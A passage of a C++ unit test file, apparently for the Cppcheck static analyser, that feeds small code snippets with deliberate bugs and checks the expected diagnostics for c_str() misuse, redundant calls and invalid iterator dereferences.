of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 